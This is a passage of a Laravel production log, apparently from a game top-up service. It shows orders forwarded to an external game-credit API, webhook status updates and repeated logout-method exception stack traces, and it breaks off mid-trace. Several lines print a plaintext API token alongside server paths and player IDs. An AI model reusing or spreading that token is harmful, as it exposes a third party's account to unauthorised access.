[2026-03-24 22:11:50] production.INFO: Handling job for order: 179454  
[2026-03-24 22:11:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:11:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:11:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=64b2a726-b08f-4c28-8332-172aeafed4bc&Player_ID=279514155  
[2026-03-24 22:11:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=64b2a726-b08f-4c28-8332-172aeafed4bc&Player_ID=279514155","has_body":false} 
[2026-03-24 22:11:51] production.INFO: Operation sent successfully {"operation_id":164327,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bOUY-1774379510","amount":0.8458740000000000147650780490948818624019622802734375,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 22:11:51"}},"processed_data":{"order_number":"ORD-bOUY-1774379510","amount":0.8458740000000000147650780490948818624019622802734375,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 22:12:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03"} 
[2026-03-24 22:12:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","total_operations":1,"sites_count":1} 
[2026-03-24 22:12:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-bOUY-1774379510"]} 
[2026-03-24 22:12:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:12:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327} 
[2026-03-24 22:12:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:12:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327,"processed":0,"errors":0} 
[2026-03-24 22:12:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"MS7uLTUTLrpC3g8dnjLaruIXaTDPOjGq","execution_time":"2026-03-24 22:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327} 
[2026-03-24 22:12:04] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179453} 
[2026-03-24 22:12:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:12:34] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"request_approved","reference_id":18720} 
[2026-03-24 22:12:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 22:13:10] production.INFO: Constructing job for order: 179455  
[2026-03-24 22:13:12] production.INFO: Handling job for order: 179455  
[2026-03-24 22:13:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:13:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:13:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=62b09636-c016-4f5f-b9b4-c5fec5acd0b1&Player_ID=51963631864  
[2026-03-24 22:13:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=62b09636-c016-4f5f-b9b4-c5fec5acd0b1&Player_ID=51963631864","has_body":false} 
[2026-03-24 22:13:13] production.INFO: Operation sent successfully {"operation_id":164328,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KBQ6cY-1774379592","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:13:13"}},"processed_data":{"order_number":"ORD-KBQ6cY-1774379592","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:13:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"request_rejected","reference_id":18721} 
[2026-03-24 22:13:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 22:13:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-KBQ6cY-1774379592","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:13:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-KBQ6cY-1774379592","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:13:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:13:23] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":179455} 
[2026-03-24 22:13:23] production.INFO: Order updated successfully. Order ID: 179455, Status: completed  
[2026-03-24 22:13:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-KBQ6cY-1774379592","status":"completed","codes_count":0} 
[2026-03-24 22:13:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 22:13:32] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:33] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:35] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
